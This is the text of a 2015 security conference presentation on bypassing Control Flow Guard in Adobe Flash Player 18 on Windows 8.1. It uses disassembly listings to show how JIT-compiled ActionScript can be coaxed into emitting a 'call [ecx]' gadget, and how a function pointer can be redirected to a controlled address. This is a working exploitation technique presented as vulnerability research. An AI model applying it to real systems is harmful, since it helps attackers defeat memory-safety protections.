Saint Petersburg
2015
Advanced CFG Bypass on Adobe Flash
Player 18 and Windows 8.1
Yurii Drozdov
Liudmila Drozdova
Center of Vulnerability Research
DEFCON Russia (DCG# 7812)
Background
CFG (Control Flow Guard) – indirect call validation
Detailed CFG description in many sources
Adobe Flash Player CFG since Windows 8.1 update 3
Adobe Flash CFG Bypass before June 2015– CoreSecurity
After June 2015 – this research
Experimental classclass ExploitClass {
function func1(arg1, arg2, … , argn) {
func2(arg1, arg2, …, argn);
}
function func2(arg1, arg2, … , argn) {
func3(arg1, arg2, …, argn )
}
function func3(arg1, arg2, … , argn) {
...
}
}
All methods of ExploitClass will be compiled by JIT compiler in machine code
JIT-generated function call from JIT
code (func1 calls func2)
56 push esi
50 push eax
51 push ecx
8bc8 mov ecx,eax
b840aa0f77 mov eax, LdrpValidateUserCallTarget (770faa40)
ffd0 call eax -> CFG check
59 pop ecx
58 pop eax
ffd0 call eax -> call of validated function (func2)
83c410 add esp,10h
Saving parameters in JIT code for JIT
functionInstructions, which are used for saving parameters can look like this
8b5de0 mov ebx,dword ptr [ebp-20h]
897d88 mov dword ptr [ebp-78h],edi
8b7de8 mov edi,dword ptr [ebp-18h]
89758c mov dword ptr [ebp-74h],esi
or this
8bbde8feffff mov edi,dword ptr [ebp-118h]
898df4feffff mov dword ptr [ebp-10Ch],ecx
8b8decfeffff mov ecx,dword ptr [ebp-114h]
89b5c0feffff mov dword ptr [ebp-140h],esi
Different opcodes!
Key points Usage one of the parameters of func2 as controlled address
Arguments are in stack in original state
Arguments sometimes can be duplicated in registers
One of argument can be saved in ecx
We can find and change func2 pointer in ExploitClass object
We can transfer control to any part of JIT function
CFGBitmap for allocated by NtAllocVirtualMemoryexecutable memory (JIT memory) has all ‘1’ bits.
Transfer control to EIP-change instruction in JIT code– in our case ecx-control-transfer instruction
CALL ECX generation in func2In JIT code call ecx doesn't exist normally, but we can try to generate it via:
one big instruction
two separate ones.
Call ecx opcode is FF D1.
We found following options in our experimental module
1. 33FF XOR EDI,EDI
D1F8 SAR EAX,1
2. 8B8D 04FFFFFF MOV ECX,DWORD PTR [EBP-FC]
D1E1 SHL ECX,1
3. 898D 70FFFFFF MOV DWORD PTR [EBP-90],ECX
D1EB SHR EBX,1
4. 8D51 FF LEA EDX,DWORD PTR DS:[ECX-1]
D1FE SAR ESI,1
5. C785 00FFFFFF D1000000 MOV DWORD PTR [EBP-100],0D1
2,3,5 – Looks like parameter saving code in JIT
Instructions with different opcodes for
saving parameters in JIT code
Different instructions can be used for saving parameters. For
example
C785 00FFFFFF 01000000 MOV DWORD PTR [EBP-100],1
C745 8C 01000000 MOV DWORD PTR [EBP-74],1
If in the instruction
MOV DWORD PTR [EBP-X], N
X> 0x80, first variant will be generated
X<= 0x80, second one will be generated
How to force Flash to use ‘proper’
parameter saving code ?
MOV DWORD PTR [EBP-X], N
X> 0x80, first variant will be generated
X<= 0x80, second one will be generated
We can influence on X in JIT function via local variables,
number of other functions calls inside JIT function, number
of their parameters.
We need to prepare func2 before call of func3 and force flash
to use fist variant of opcode
We added more local variables, additional calls etc.
MOV DWORD PTR [EBP-X],0D1h Attempt
function func2(arg1, arg2,...,argn) {
var localvar1;
var localvar2;
....
func3(arg1, arg2,...,0xD1,..., argn )
}
Result
MOV EBX,18C731Eh
XOR EBX,18C73CFh ; EBX == 0D1h
MOV DWORD PTR [EBP-X],EBX
Instead of
MOV DWORD PTR [EBP-X],0D1h
Fail
Alternative generation of call ecxUsing of two instructions
898D 70FFFFFF MOV DWORD PTR [EBP-90],ECX
D1EB SHR/SHL/… EBX,1
Attempt was
any_var1 = any_var2<<1
But instead of desired
D1E2 SHL EDX,1
we got the same instruction, but with alternative opcode (probably because it is easier to generate it).
C1 E2 01 SHL EDX, 1
Fail again
MOV DWORD PTR [EBP-X],11h Attempt
function func2(arg1, arg2 ..., argn) {
var localvar1;
var localvar2;
....
func3(arg1, arg2,...,0x11,... , argn)
}
Result
c78570ffffff11000000 mov dword ptr [ebp-90h],11h
Bingo!
Number obfuscation in JIT
Why we got
c78570ffffff11000000 mov dword ptr [ebp-90h],11h
?
0x11 is not big number for JIT compiler and shouldn't be
obfuscated. Obfuscation of numbers begins from 0x80.
Numbers less than 0x80 will not be obfuscated.
Call to controlled address
After generation of JIT func2, we have ready call [ecx].
After exploit execution we can find address of func2 inside
our object and change it to call [ecx] 's address in func2.
After all manipulations after call func2 from func1 we will
have transfer control to controlled address inside ecx with
CFG bypass.
126aed07 ff11 call dword ptr [ecx] ds:002b:42424242=????????
Links
http://sjc1-te-ftp.trendmicro.com/assets/wp/exploring-
control-flow-guard-in-windows10.pdf
http://www.powerofcommunity.net/poc2014/mj0011.pdf
https://blog.coresecurity.com/2015/03/25/exploiting-
cve-2015-0311-part-ii-bypassing-control-flow-guard-on-
windows-8-1-update-3/
http://cvr-data.blogspot.ru/2015/07/advanced-cfg-bypass-
on-adobe-flash.html
https://helpx.adobe.com/security/products/flash-
player/apsb15-11.html